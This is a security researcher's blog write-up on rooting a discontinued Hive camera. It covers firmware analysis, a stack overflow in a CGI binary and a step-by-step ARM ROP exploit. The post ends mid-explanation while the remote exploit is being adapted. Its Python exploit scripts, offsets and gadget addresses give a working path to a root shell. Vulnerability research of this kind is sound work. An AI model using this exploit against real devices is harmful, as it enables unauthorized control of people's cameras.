Rooting a Hive Camera
In this blog post, I’ll be looking at the security of a discontinued Hive camera, the HCI002UK. I’ll be focusing on a (now) known vulnerability that required authentication to exploit, but resulted in root access to the device.
The vulnerability wasn’t known to me during the analysis, but looking it up in hindsight, it appears to be CVE-2018-6297, having been mentioned at https://securelist.com/somebodys-watching-when-cameras-are-more-than-just-smart/84309/ and is reportedly fixed by the vendor.
Notably, the camera appears to be a re-branded variant of the Samsung camera SNH-P-6410, for which a few exploits already reportedly exist, namely an authentication bypass followed by a command injection vulnerability. These did not work in the firmware version reviewed here, however.
The hardware
The camera itself a relatively small, powered by micro-USB and operated via an Android application, which allows it to be initially provisioned with a password and connected to the user’s chosen wireless network. It looks like this:
The device itself runs an Ambarella S2L SoC, which makes full use of an ARM Cortex-A9 processor and the ARMv7-A micro-architecture. This detail will become relevant shortly. For now, we note that there are no obvious serial ports on the primary board:
Up close we see the Ambarella processor:
The firmware
Intercepting communications between the device’s Android application and the camera, we’re able to obtain a firmware archive. It’s a TGZ archive containing an initialisation shell script and an UBI image amongst other components, revealing a Linux based file-system once extracted.
josh@debian:~/testing/hive/rootfs$ ls -1
bin
debug
dev
etc
home
include
lib
mnt
opt
proc
root
run
sbin
sys
tmp
usr
var
webSvr
work
After some exploring, we find a webroot and a configuration file for Lighttpd, which we surmise is running on the configured ports 80/TCP and 443/TCP (TLS). The first level of directory structure in one of the more notable directories can be seen below:
josh@hellfire:~/testing/hive_camera/hci002/rootfs/work$ tree -L 2
.
├── app
│ ├── [...]
├── custom
│ ├── custom-lighttpd.conf
│ ├── iwatch
│ ├── start.sh
│ └── web-base
├── daemon
│ ├── cfg
│ ├── gencert
│ ├── lighttpd
│ └── php-cgi
├── dd
│ ├── 8188eu.ko
│ ├── ar9271.sh
│ ├── ath6kl_bk.sh
│ ├── ath6kl.sh
│ ├── rt5572.sh
│ ├── rtl8188eu.sh
│ ├── rtl8192cu.sh
│ └── rtl8821au.sh
└── www
├── fhzjfdnpq15tmakxmzoa11
├── htdocs -> /work/www/htdocs_weboff
└── htdocs_weboff
10 directories, 37 files
The directory named ‘fhzjfdnpq15tmakxmzoa11‘ immediately stands out. For context and understanding, let’s highlight some of the notable Lighttpd configuration relevant to that directory:
auth.backend = "plain"
auth.backend.plain.userfile = "/tmp/daemon/cfg/lighttpd.user"
auth.require = (
[...]
"/PSIA/" => ("method" => "digest", "realm" => "iPolis", "require" => "valid-user"),
"/fhzjfdnpq15tmakxmzoa11/xpzmdnls09woskxm20/" => ("method" => "digest", "realm" => "iPolis", "require" => "user=admin")
)
We see from the above that various paths, including the strangely named directory and its contents require authentication before access will be permitted. We also see assignment of CGI handlers pertaining to this path:
cgi.assign = (
"onvif/device_service" => "",
[...]
"cgi-bin/update" => "",
"fhzjfdnpq15tmakxmzoa11/xpzmdnls09woskxm20/dnpqtjqltm" => "",
)
For background, the Common Gateway Interface (or CGI) is a means of allowing a web-server, in our case Lighttpd to invoke a native binary of the system via a configured URL path. Not all of the above handlers map to accessible files, we note that the previously vulnerable (in Samsung cameras) debugcgi directive (not shown) no longer maps to a valid binary for example.
The camera also contains a fair amount of PHP code, where it appears attempts have been made to squash command injection issues found in previous iterations of the camera, for the most part, arguments are correctly escaped. There doesn’t appear to be an easy way in through these PHP scripts, but we note PHP code can be executed, something that we might be able to leverage later.
Reverse engineering the CGI handlers
The primary binary I’ll elect to examine is the aptly named ‘dnpqtjqltm’ binary, that resides at the strange path we saw earlier.
Its main routine looks like this:
int main()
{
char *v0; // r0
char *v1; // r0
char *v2; // r0
char *v3; // r0
int v5; // [sp+8h] [bp+8h]
int v6; // [sp+A8h] [bp+A8h]
int v7; // [sp+C8h] [bp+C8h]
int v8; // [sp+E8h] [bp+E8h]
int v9; // [sp+4E8h] [bp+4E8h]
char *src; // [sp+4ECh] [bp+4ECh]
char *s; // [sp+4F0h] [bp+4F0h]
char *v12; // [sp+4F4h] [bp+4F4h]
int v13; // [sp+4F8h] [bp+4F8h]
char *v14; // [sp+4FCh] [bp+4FCh]
v12 = 0;
v14 = 0;
s = 0;
src = 0;
v9 = 1;
v13 = -1;
memset(&v5, 0, 0xA0u);
memset(&v8, 0, 0x400u);
if ( getenv("QUERY_STRING") )
{
v0 = getenv("QUERY_STRING");
strcpy((char *)&v8, v0);
v14 = (char *)&v8;
while ( 1 )
{
v12 = strchr(v14, 38);
if ( !v12 )
break;
s = v14;
v14 = v12 + 1;
*v12 = 0;
v12 = strchr(s, 61);
if ( v12 )
{
src = v12 + 1;
*v12 = 0;
memset(&v7, 0, 0x20u);
memset(&v6, 0, 0x20u);
strncpy((char *)&v7, s, 0x20u);
strncpy((char *)&v6, src, 0x20u);
}
if ( !strncmp((const char *)&v7, "service", 0x20u) )
strcpy((char *)&v5, (const char *)&v6);
}
s = v14;
v12 = strchr(v14, 61);
if ( v12 )
{
src = v12 + 1;
*v12 = 0;
memset(&v7, 0, 0x20u);
memset(&v6, 0, 0x20u);
strncpy((char *)&v7, s, 0x20u);
strncpy((char *)&v6, src, 0x20u);
}
if ( !strncmp((const char *)&v7, "service", 0x20u) )
strcpy((char *)&v5, (const char *)&v6);
v13 = sub_87EC(&v5);
}
if ( v13 == 1 )
{
puts("Content-type: text/html\r\n\r");
v1 = getenv("QUERY_STRING");
printf("QUERY_STRING:\t%s<br>\n", v1);
v2 = getenv("REMOTE_ADDR");
printf("REMOTE_ADDR:\t%s<br>\n", v2);
v3 = getenv("REMOTE_PORT");
printf("REMOTE_PORT:\t%s<br>\n", v3);
printf("service:\t%s<br>\n", &v5);
}
else
{
sub_8768();
}
fprintf((FILE *)stderr, "======== Change Webservice Mode %d, %s ========", v13, &v5);
return 0;
}
The astute reader will notice an issue in the following lines:
memset(&v5, 0, 0xA0u);
memset(&v8, 0, 0x400u);
if ( getenv("QUERY_STRING") )
{
v0 = getenv("QUERY_STRING");
strcpy((char *)&v8, v0);
Yes, the binary reads our supplied query string into a variable on the stack, without doing any bounds checking whatsoever. This can be leveraged to take control of the camera remotely. To be clear with my goal, I’d like to execute arbitrary commands on the host.
Exploiting a CGI binary
As with any exploitation challenge, there are various prerequisites required to allow for testing and reliability. Ideally, we want to exploit the binary locally first, then focus on upgrading our exploit to something more extravagant, like a remote exploit. Questions you say?
- What about a lab?
- What about tools?
- What about libraries?
- What protections was it compiled with?
- What about ASLR?
- What about DEP?
Yes! All the questions. It’s easy to feel overloaded at this point. Some of these questions we simply won’t be able to answer. As security researchers, sometimes we have to assume and hope we’re right. I’m going to assume ASLR is enabled on our target for example, because modern kernels enable it by default.
Let’s answer each of these questions. The first concerns a lab environment.
Building a simple lab: what are our options?
Emulating ARM via Qemu’s user mode
Option one! As it’s common practice to employ Qemu in user mode to assist in emulating simple ARM binaries, I figured this may be an easy route to take.
Let’s inspect our target first, to understand how it’s linked:
josh@debian:~/testing/hive/rootfs$ file dnpqtjqltm
dnpqtjqltm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.16, BuildID[sha1]=2c713696489105e589da6c08d4a31ebf0be55a5b, stripped
We see that our target ARM binary is itself linked dynamically to additional ARM libraries, each of which reside within our target’s file system. We want to ensure our environment is as free of pollution as possible, so we’ll opt for a statically compiled Qemu and a Chrooted environment, which will ensure any binaries we emulate see the same filesystem that they would on the target device.
Let’s test our chrooted environment:
josh@debian:~/testing/hive/rootfs$ sudo chroot . ./qemu-arm-static /bin/ls / -1
bin
debug
dev
[...]
We can run ARM based binaries and our root is as expected. Let’s test our target:
josh@debian:~/testing/hive/rootfs$ sudo chroot --userspec josh:josh . ./qemu-arm-static ./work//www/fhzjfdnpq15tmakxmzoa11/xpzmdnls09woskxm20/dnpqtjqltm
Status: 404 Not Found
Content-type: text/html
<!DOCTYPE HTML PUBLIC " -//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL (null) was not found on this server.</p>
</body></html>
======== Change Webservice Mode -1, ========
It runs and we can instruct Qemu to start a GDB server with some additional flags, as well as set the environment variables expected by the application that would normally be set via the CGI mechanism:
sudo chroot --userspec josh:josh . ./qemu-arm-static -E QUERY_STRING="test" -singlestep -g 5555 ./work/www/fhzjfdnpq15tmakxmzoa11/xpzmdnls09woskxm20/dnpqtjqltmq15tmakxmzo
This did work for awhile. Eventually, however, I found things just didn’t work how I would expect them to, case in point:
josh@debian:~/testing/hive/rootfs$ sudo chroot --userspec josh:josh . ./qemu-arm-static ./bin/chmod 777 /bin -R
josh@debian:~/testing/hive/rootfs$ chmod 777 ./bin -R
josh@debian:~/testing/hive/rootfs$ sudo chroot --userspec josh:josh . ./qemu-arm-static ./bin/bash
/ $ id
./bin/bash: id: Permission denied
/ $ ls
./bin/bash: ls: not found
/ $ /bin/ls
./bin/bash: /bin/ls: not found
/ $ env
./bin/bash: env: Permission denied
/ $ whoami
./bin/bash: whoami: Permission denied
/ $
This was an issue! We want a payload that will execute a command but our binaries fail to execute other binaries? I wasn’t able to solve this. So, on to our second option!
Emulating ARM using Qemu System mode
Option two! It’s worth noting here that Qemu does offer OS emulation of Raspian and Azeria’s labs are an example of an easy to use environment (kudos Azeria!). A problem, however, is that Qemu is very good at emulating ARMv6 as is the case with Azeria’s Raspian, not so much ARMv7, although it apparently can be done with some effort. I’d encourage this route if you don’t have a physical device to hand.
Using a real, physical device
Option three! I had an ARMv7 Raspberry Pi 3 laying around and figured it would be easier than the emulation options. There are some differences in how we load our binary when using a real device. We now load as follows:
sudo chroot . env \
REQUEST_URI="http://test.com" \
QUERY_STRING="service=`TEST" \
./gdbserver --disable-randomization :5555 ./dnpqtjqltm
In this case, we configure the environment and disable ASLR for testing purposes, using our own statically linked gdbserver binary to assist in debugging. Build statically as follows (gdb 8.2.x):
gdb-8-2-src $ mkdir build-gdb && cd build-gdb && ../configure --enable-static --disable-interprocess-agent
The plan
We need to devise a strategy of how we’re going to exploit this vulnerability, a large part of that is understanding how we might bypass ASLR and DEP, as well as any protection mechanisms compiled into our target or present as a result of our HTTP-based access mechanism. Let’s start with some situational awareness.
Situational awareness
First up, what protections are applied to our binary:
gef➤ checksec
[+] checksec for '/home/josh/testing/hive_camera/hci002/debug/dnpqtjqltm'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : No
As expected, NX is enabled. This means DEP will prevent writable memory pages from being executed, which includes our stack. This complicates our exploit, but won’t stop us.
Next, what impact does ASLR have on our library base addresses when using a 32-bit system? We can check:
pi@raspberrypi:~/rootfs $ for i in $(seq 1 10); do sudo chroot . ./ldd ./dnpqtjqltm | grep libc; done
libc.so.6 => /lib/libc.so.6 (0x76e38000)
libc.so.6 => /lib/libc.so.6 (0x76e48000)
libc.so.6 => /lib/libc.so.6 (0x76e46000)
libc.so.6 => /lib/libc.so.6 (0x76e0d000)
libc.so.6 => /lib/libc.so.6 (0x76df6000)
libc.so.6 => /lib/libc.so.6 (0x76e98000)
libc.so.6 => /lib/libc.so.6 (0x76e1a000)
libc.so.6 => /lib/libc.so.6 (0x76e9c000)
libc.so.6 => /lib/libc.so.6 (0x76e8d000)
libc.so.6 => /lib/libc.so.6 (0x76e35000)
We also make a note of the libraries available to us and used by the target:
pi@raspberrypi:~/rootfs $ sudo chroot . ./ldd dnpqtjqltm
linux-vdso.so.1 (0x76ffd000)
libc.so.6 => /lib/libc.so.6 (0x76ed9000)
/lib/ld-linux-armhf.so.3 (0x76fdd000)
Bypassing ASLR
With regards to Libc, we can see we have 12 bits (1.5 bytes) of entropy in the base address per each invocation of our target. In situations where we can only invoke our target once, this would certainly be a problem. Our situation, however, allows us to invoke our target many times over the CGI protocol, once per each valid HTTP request in fact! With this in mind, we should be able bruteforce the address space and with an element of luck, the randomised base address will match our provided guesses at some point.
Alternatively, we could avoid the not so elegant bruteforce approach and leak the base address, but there isn’t a need to do so in this case. I considered this approach but found very few useful instructions to reside at known addresses (that is, addresses within our target itself, as opposed to its libraries).
Bypassing DEP
What about DEP? Well, we can leverage Return Orientated Programming (ROP) techniques to bypass this mitigation. This means we’ll use existing instructions within the target’s libraries and possibly the target itself, to move data into the necessary locations such that we can perform a desired action, like calling a function for example.
We can’t use just any sequence of instructions, we need to choose instructions that ultimately allow us to reach additional instructions in our chain, which means we need sequences that conclude by calling instructions that modify control flow, such as pop {pc}, bl/x or jmp rm. These sequences are called gadgets.
As an aside, we need to be mindful of 32-bit ARM calling convention, in that ARM passes parameters via registers r0 to r3 as opposed to via the stack (as in x86 processor families).
Tooling
We use GDB’s Gef plugin to assist in exploit development. More importantly is how we configure it. I’ve used a .gdbinit file for quick initialisation, which as follows:
josh@boredpentester:~/testing/hive_camera/hci002/debug$ cat .gdbinit
set arm force-mode thumb
set arm fallback-mode thumb
file dnpqtjqltm
set sysroot /home/josh/testing/hive_camera/hci002/debug/rootfs
set solib-search-path /home/josh/testing/hive_camera/hci002/rootfs/lib:/home/josh/testing/hive_camera/hci002/rootfs/usr/lib
gef-remote raspberrypi.local:5555
info sharedlibrary
b *0x00008b1c
Importantly, we instruct GDB to load our file locally and our libraries from the intended root, we force ARM Thumb mode, connect to our gdbserver and set a breakpoint at the end of our vulnerable function.
Secondly, Ropper! We use Ropper to search for gadgets in our modules that could be used to form part of our ROP chain.
Of course, we use other tools also, I’ve summarised them below:
- A Raspberry Pi 3 – so that we can run ARMv7 binaries without issue
- Chroot – so we can ensure our binary loads the expected libraries and files from its expected root without patching RPATHs and such
- Gdbserver 8.2 – statically linked Gdbserver to provide debugging capabality
- Gdb-multiarch + GEF – a GDB client capable of debugging non-x86 based targets plus plugins to assist us
- A .gdbinit initialisation file, to simplify loading, connecting to our server and setting breakpoints
- Ropper – to assist in locating gadgets within our target and its libraries
- Python – our exploit development language of choice, of course
The high-level strategy
We’ll want to construct a ROP chain that will store a pointer to the command we want to execute in r0 and proceed to call our libc’s system() function, whilst having minimal side-effects on our target’s state. We’ll use this strategy both in the cases of our local and remote exploits.
It should be understood that I am not trying to execute my own shellcode, were that the case, we’d call mprotect() on our memory and jump to it. I’ll leave this as an exercise for the reader and give a shout out to Dimitrios Slamaris brilliant blog series on ARM exploitation.
Crafting the local exploit
Exploiting the binary locally is fairly straightforward. We can set a breakpoint at the end of the main function and quickly establish the offset within our supplied attack string that will overwrite the function’s return address on the stack. In our case, it’s at offset 1052 into our supplied QUERY_STRING environment variable. You can find this through trial and error or via a cyclic pattern.
We can confirm this via analysing a core dump and we’ll construct a very simple proof-of-concept as the basis for what will eventually become our exploit:
#!/usr/bin/env python2
import struct
pc_overwrite = 1052
exploit_str = "C"*pc_overwrite
exploit_str += struct.pack('<I', 0x42424242)
print exploit_str
quit()
Which we can trigger as follows:
pi@raspberrypi:~/rootfs $ ulimit -c unlimited
pi@raspberrypi:~/rootfs $ python testing.py > exploit_str
pi@raspberrypi:~/rootfs $ sudo chroot . env REQUEST_URI="http://test.com" QUERY_STRING="`cat exploit_str`" ./dnpqtjqltm
Status: 404 Not Found
Content-type: text/html
<!DOCTYPE HTML PUBLIC " -//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL http://test.com was not found on this server.</p>
</body></html>
======== Change Webservice Mode 2, ========Bus error
A quick note that I could have used some of the black magic Pwn based Python libraries to assist in exploit development here, but I figured it to be overkill for our situation. Nevertheless, I do encourage familiarity be gained with the various uses, should you want to attempt exploit development yourself.
Back to crash analysis. Analysing our dumped core, we see our return address was overwritten as expected:
pi@raspberrypi:~/rootfs $ sudo chmod 777 core
pi@raspberrypi:~/rootfs $ gdb -q -c core
GEF for linux ready, type `gef' to start, `gef config' to configure
79 commands loaded for GDB 7.12.0.20161007-git using Python engine 3.5
[*] 1 command could not be loaded, run `gef missing` to know why.
[+] Configuration from '/home/pi/.gef.rc' restored
[+] 11 extra commands added from '/home/pi/gef-extras/scripts'
[New LWP 1294]
Core was generated by `./dnpqtjqltm'.
Program terminated with signal SIGBUS, Bus error.
#0 0x42424242 in ?? ()
gef➤
Given we’ll have to move values from our stack into various registers, it’s important to understand how the stack and our registers look prior to a segmentation fault occurring.
GEF for linux ready, type `gef' to start, `gef config' to configure
78 commands loaded for GDB 8.2.1 using Python engine 3.7
[*] 2 commands could not be loaded, run `gef missing` to know why.
[+] Configuration from '/home/josh/.gef.rc' restored
[+] 11 extra commands added from '/home/josh/gef-extras/scripts'
0x76fddac0 in ?? () from /home/josh/testing/hive_camera/hci002/debug/lib/ld-2.19-2014.06.so
[+] Connected to 'raspberrypi.local:5555'
[+] Targeting PID=2351
[+] Remote information loaded to temporary path '/tmp/gef/2351'
From To Syms Read Shared Object Library
0x76fdd840 0x76ff2730 Yes (*) /home/josh/testing/hive_camera/hci002/debug/lib/ld-2.19-2014.06.so
(*): Shared library is missing debugging information.
Breakpoint 1 at 0x8b1c
gef➤ c
Continuing.
Breakpoint 1, 0x00008b1c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────── registers ────
[!] Command 'registers' failed to execute properly, reason: unsupported format string passed to NoneType.__format__
────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Command 'dereference' failed to execute properly, reason: unsupported format string passed to NoneType.__format__
───────────────────────────────────────────────────────────────────────────────────── code:arm:THUMB ────
0x8b15 mov r0, r3
0x8b17 add.w r7, r7, #1280 ; 0x500
0x8b1b mov sp, r7
→ 0x8b1d pop {r7, pc}
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8b1c → pop {r7, pc}
[#1] 0x8b12 → movs r3, #0
─────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r
r0 0x0 0x0
r1 0x0 0x0
r2 0x1 0x1
r3 0x0 0x0
r4 0x7effed88 0x7effed88
r5 0x0 0x0
r6 0x0 0x0
r7 0x7effed68 0x7effed68
r8 0x0 0x0
r9 0x0 0x0
r10 0x76fff000 0x76fff000
r11 0x0 0x0
r12 0x0 0x0
sp 0x7effed68 0x7effed68
lr 0x8b13 0x8b13
pc 0x8b1c 0x8b1c
cpsr 0x60000030 0x60000030
gef➤ x/10x $sp
0x7effed68: 0x43434343 0x42424242 0x44444444 0x44444444
0x7effed78: 0x44444444 0x44444444 0x44444444 0x44444444
0x7effed88: 0x44444444 0x44444444
gef➤
We can see that the main() function ends via popping a value from the stack into r7 followed by a value into pc, which instructs the processor to continue execution at the address supplied via the stack. This means we can control the value of r7 with little effort and moreover, we note that r4 points to data within our stack also.
With this in mind, we conclude that ideally, we’d like to move the value of r4 into r0, as it already points to values on our stack and given we control r7 too, it’d be useful to supply r7 with a pointer to system() followed eventually by a call r7 instruction. This will result in system() being called and our supplied command being executed!
A second notable observation is the value of our CPSR register, which informs our current execution state. For reference the CPSR register contains the following state:
And our CPSR register when translated to binary:
(31) 0000 0000 0110 0000 0000 0000 0000 0000 0011 0000 (0)
Per this reference, the 5th (T) bit of our CPSR is set, which means we’re executing in Thumb mode. This is good, as it means we’ve a 16-bit instruction set and as a result, a higher code density available when searching for instructions to form our ROP chain.
A note on addressing, null-bytes and thumb mode
Before we continue, I wanted to give a quick note on addressing, processor mode switching, maintaining our processor mode and how this could affect or change our exploitation approach. In the version of Libc employed by our target for example, system() resides at the following address:
gef➤ p system
$1 = {<text variable, no debug info>} 0x76f0b300 <system>
This is an immediate problem! There is a nullbyte within our address. We can’t supply a nullbyte within our payload, because strcpy() will recognise it as a null-terminator to our string and discontinue the copy operation.
We could approach this problem in a few ways, but the simplest approach when exploiting an ARM architecture in Thumb mode is to remain in Thumb mode. This is where understanding of processor mode switching is useful. The processor will interpret the Least Significant Bit (LSB, the zeroth bit) of a supplied address prior to execution, at which point an important decision is made:
- If the LSB of the address is set and the processor is in ARM mode, it will switch to Thumb mode
- If the LSB is set and the processor is already in Thumb mode, it will remain in Thumb mode
- If the LSB is not set in Thumb mode, it will switch to ARM mode
This is important to understand, as your disassembler may crash or display incorrect output. I encountered many issues with GDB confusing the execution state and displaying instructions that in reality, weren’t executed.
The takeaway is that we can continue in Thumb mode and simply set the LSB of the address of system(). Case in point:
gef➤ x/i system
0x76f0b300 <system>: cbz r0, 0x76f0b304 <system+4>
gef➤ x/i 0x76f0b300+1
0x76f0b301 <system>: cbz r0, 0x76f0b304 <system+4>
The processor will not complain about remaining in Thumb mode. No more null-byte! This is also an important consideration when forming a ROP chain. Our addresses will have to have the LSB set in all cases, otherwise we risk peculiarities and likely crashes.
Aside: Virtual, base and offset?
I figured it’d be worth dedicating a quick aside to how we work out addresses and the differences in terminology:
- Base address: The address at which a library or target is loaded in memory. Typically a dynamic value.
- Offset: The number of bytes into a file (the offset) on disk where an instruction or function resides.
- Relative Virtual Address (RVA) (or just virtual address): An address in memory where a function or instruction resides, relative to a base address.
Putting this together, we can add an offset to a base address to get a virtual address. This is important because system() resides at virtual address 0x76f0b301 in our example, but the virtual address of system() is relative to the base address of the library the function resides within. To work out the virtual address on another system, or invocation if ASLR is enabled, we need to the add the offset of the function (or instruction) to the dynamic base address.
We can work out the offset of system() via reading the symbol table of the library the function is implemented within, namely Libc (build ID: 1a854a0826a095a4163b3fa0a660832c635a049c):
pi@raspberrypi:~/rootfs/lib $ readelf -s libc-2.19-2014.06.so | grep system
223: 000cd11d 46 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.4
575: 00032301 28 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1327: 00032301 28 FUNC WEAK DEFAULT 13 system@@GLIBC_2.4
Mathematically, we can see that the base address plus the offset matches the virtual address:
0x76ed9000+0x00032301=0x76F0B301=&system()
This means that when referencing instructions within a library, we’ll need to use their offset and add that offset to the library’s assumed base address. This is good to know also, should you want to perform a more elegant ASLR bypass… If we can leak the address of just one function, subtracting the function’s offset will allow the base address to be known, at which point any other function’s virtual address can be determined.
Moving on. Let’s build our ROP chain.
Building the local exploit’s ROP chain
We know our goal, so let’s identify some gadgets to help us achieve that goal. An example of using Ropper to locate gadgets:
(ropper)> file libc-2.19-2014.06.so
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(libc-2.19-2014.06.so/ELF/ARMTHUMB)> search pop
[INFO] Searching for gadgets: pop
[INFO] File: libc-2.19-2014.06.so
0x0002f778 (0x0002f779): pop {r0, pc};
0x0004184a (0x0004184b): pop {r0, r1, pc};
0x0003039e (0x0003039f): pop {r0, r1, r2, r3, r4, pc};
0x00027b64 (0x00027b65): pop {r0, r1, r2, r3, r4, r5, r6, pc};
0x00038032 (0x00038033): pop {r0, r1, r2, r3, r4, r5, r6, r7, pc};
0x000026d0 (0x000026d1): pop {r0, r1, r2, r3, r4, r6, r7, pc};
0x0009c186 (0x0009c187): pop {r0, r1, r2, r3, r4, r7, pc};
0x00002a18 (0x00002a19): pop {r0, r1, r2, r3, r5, pc};
0x00018174 (0x00018175): pop {r0, r1, r2, r3, r5, r6, pc};
We see two columns of offsets given. The first column is the address with the LSB not set, the second has the LSB set. Per our observation earlier, we want the LSB to remain set, allowing us to remain in Thumb mode.
After some searching, we build a chain as follows:
pop r7, pc # < our instruction at the end of main()
[ADDR OF SYSTEM FOR r7]
mov r0, r4; pop {r4, pc}
[JUNK FOR r4]
blx r7;
A quick note for those used to Intel x86 assembly, pop {r4, r5, r6} under ARM intends to pop three values from the stack, into the given registers. This can be a point of confusion if you’re not familiar with the instruction set.
Executing the above sequence of instructions will result in system() being called with a string provided on our stack. Our stack is likely going to have some junk within it, so we’ll have to use shell metacharacters to delimit commands, we can use a string such as:
AAAAAAAA;/bin/sh;
This will result in “/bin/sh” eventually being executed locally, giving us a local shell.
To re-cap, our exploit will need to contain the virtual addresses of our chosen gadgets and place our command string on the stack. We discussed virtual addresses earlier and you’ll recall, that we need the base address of our Libc, which we’ll add the instruction offset to, to achieve a valid virtual address. This is simple, but for reference, the base address can be calculated as follows:
0x76f0b301 (&SYSTEM) - 0x00032301 (SYSTEM OFFSET) = 0x76ED9000 (LIBC base)
Let’s retrofit our exploit:
#!/usr/bin/env python2
import urllib
import struct
pc_overwrite = 1048
libc_base = 0x76ed9000
command = "/bin/sh"
exploit_str += "A"*pc_overwrite
exploit_str += struct.pack('<I', libc_base+0x32301) # [system()] - 0x76f0b301 (r7 = &system)
exploit_str += struct.pack('<I', libc_base+0x274ed) # r0 = r4, pop r4, pc (r4 = $sp)
exploit_str += struct.pack('<I', 0x43434343) # [junk for r4]
exploit_str += struct.pack('<I', libc_base+0x1804d) # blx r7;
exploit_str += "A"*40
exploit_str += ";" + command + ";"
print exploit_str
Running this exploit, it functions as expected and a shell is granted by our target!
pi@raspberrypi:~/rootfs $ python testing.py > exploit_str
pi@raspberrypi:~/rootfs $ sudo chroot . env REQUEST_URI="http://test.com" QUERY_STRING="`cat exploit_str`" ./dnpqtjqltm
Status: 404 Not Found
Content-type: text/html
<!DOCTYPE HTML PUBLIC " -//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL http://test.com was not found on this server.</p>
</body></html>
======== Change Webservice Mode 2, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAservice ========sh: AAAAAAAAAAAAAAAAAAAAAAAA: not found
/ # id
uid=0(root) gid=0(root) groups=0(root)
/ # exit
Segmentation fault
I should add that the process of experimenting with different gadgets and finding the right combination can take some experimentation, but is a fun exercise. Given my generally simple requirements, this ROP chain will suffice, but it isn’t uncommon to build chains that allow multiple functions of choice to be called easily. An example of this would be using gadgets that instantiate registers r0 to r3 and then call a supplied address.
What about a remote exploit?
In order to exploit our target remotely, we should just be able to send our payload within an HTTP request, right? Not quite. The target accesses our supplied payload without performing URL decoding, as decoding never takes place, we can’t URL encode our payload to allow special characters within it. This means a number of bytes cannot be included within a payload, such as bytes that may break an HTTP request.
In order to test our exploit remotely, we’ll need to run the Lighttpd server with the expected configuration. In my case, I’ve modified the configuration somewhat to simplify the testing process, opting to remove TLS, authentication and use an alternative port of 8081/TCP. We can run our server as follows:
user@raspberrypi:~/rootfs $ sudo chroot . ./work/daemon/lighttpd -f ./work/daemon/cfg/lighttpd.conf -D
2019-04-15 15:40:26: (../../src/log.c.164) server started
[VF]/home/ubuntu/Dev/wr4.0/app_ambas2lm/exe/web//src/common/src/fcgi_main.cpp:256 Starting Web Listener Thread 1(0x76af9450)
[VF]/home/ubuntu/Dev/wr4.0/app_ambas2lm/exe/web//src/common/src/fcgi_main.cpp:383 Starting Worker Thread 2 (0x76ab9450)
[VF]/home/ubuntu/Dev/wr4.0/app_ambas2lm/exe/web//src/common/src/fcgi_main.cpp:383 Starting Worker Thread 3 (0x76a79450)
Retrofitting our exploit to send our payload within an HTTP request is quite simple also. We simply modify it to send a GET request with a query string containing our payload:
#!/usr/bin/env python2
import urllib
import struct
pc_overwrite = 1048
libc_base = 0x76ed9000
command = "/bin/ls"
auth_header = "auth_data_here"
exploit_str += "A"*pc_overwrite
exploit_str += struct.pack('<I', libc_base+0x32301) # [system()] - 0x76f0b301 (r7 = &system)
exploit_str += struct.pack('<I', libc_base+0x274ed) # r0 = r4, pop r4, pc (r4 = $sp)
exploit_str += struct.pack('<I', 0x43434343) # [junk for r4]
exploit_str += struct.pack('<I', libc_base+0x1804d) # blx r7;
exploit_str += "A"*40
exploit_str += ";" + command + ";"
# remote testing (to check for banned addresses)
# exec via: python pwn_test_encoding.py | nc raspberrypi.local 8081
url = "GET /fhzjfdnpq15tmakxmzoa11/xpzmdnls09woskxm20/dnpqtjqltm?" + exploit_str + " HTTP/1.1\r\nHost: raspberrypi.local:8081\r\n"+auth_header+"\r\nConnection: close\r\nContent-type: application/octet-stream\r\n\r\n"
print url
quit()
Running this exploit against our server, however, results in us falling foul of the input filtering. The server cannot parse our request successfully, so it doesn’t reach our target binary, instead we’re greeted with a bad request error:
josh@exploitdev:/tmp/exploits$ python testing_remote.py | nc raspberrypi.local 8081
HTTP/1.1 400 Bad Request
Content-Type: text/html
Content-Length: 349
Connection: close
Date: Mon, 15 Apr 2019 15:40:42 GMT
Server: SmartCamWebService
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>400 - Bad Request</title>
</head>
<body>
<h1>400 - Bad Request</h1>
</body>
</html>
My first instinct was that I’d need a full alphanumeric ROP chain. Testing our constraints, however, we see that only the following bytes are rejected:
- Bytes in the range of 0x00 to 0x20
- 0xFF
This causes an issue if you look at the addresses of the instructions within our chain currently:
#!/usr/bin/env python2
import struct
libc_base = 0x76ed9000
print "&system: %08X" % (libc_base+0x32301)
print "&r0=r4: %08X" % (libc_base+0x274ed)
print "blx r7: %08X" % (libc_base+0x1804d)
quit()
Output:
josh@exploitdev:/tmp/exploits$ python testing_remote.py
&system: 76F0B301
&r0=r4: 76F004ED
blx r7: 76EF104D
We see that there are bad bytes in every address of our chain. An initial solution here is to re-build our chain using gadgets that reside at higher addresses in Libc and this is the path I’ll take. A second problem exists here, however, in that the address of system() contains a banned byte also (0x01).
To fix this, we’ll need to find a gadget that can add or substract from the supplied address, such that it becomes valid after the modification, using only gadgets that reside at high addresses. Due to limited range of gadgets now available to us, I could only find one gadget that could be useful:
0x76fad9ba (0x76fad9bb): adds r7, #0xf0; blx r3;
Doing some maths, we conclude that a single subtraction still results in a bad byte within our address:
